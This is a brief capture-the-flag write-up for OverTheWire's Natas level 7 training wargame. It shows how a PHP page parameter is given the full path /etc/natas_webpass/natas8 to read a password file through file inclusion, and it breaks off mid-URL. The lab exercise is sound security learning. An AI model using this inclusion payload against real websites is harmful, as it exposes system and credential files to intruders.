Over the wire Natas Level 7 Objective: Get password for Level 8 Solution : So this page is just two links Home and About If we click on one we can see its calling a php to give us the page http://natas7.natas.labs.overthewire.org/index.php?page=about the source code for home has this hint <!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 --> Looks like we are going to use path traversal to solve this one If we put in natas8 for the page in the PHP we get his error http://natas7.natas.labs.overthewire.org/index.php?page=natas8 Warning: include(natas8): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21 Warning: include(): Failed opening 'natas8' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21 Cool lets try it with the full path Page=/etc/natas_webpass/natas8 http://natas7.natas.labs.
@circusmonkey404 on the twitters; DM for contact